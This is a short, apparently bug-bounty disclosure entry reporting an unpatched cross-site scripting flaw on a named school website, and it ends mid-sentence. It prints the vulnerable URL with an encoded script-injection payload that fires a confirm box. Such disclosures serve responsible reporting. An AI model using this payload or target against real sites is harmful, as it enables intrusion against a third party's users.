stpauls.edu XSS vulnerability

Vulnerable URL: http://www.stpauls.edu/site/slideshowdisplay.asp?secid=180002481id=180001570=1%22%27--!%3E%3CScript%20/K/%3EconfirmOPENBUGBOUNTY%3C/Script%20/K/%3E=3=/home/180002481/180002481/images/= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerabili...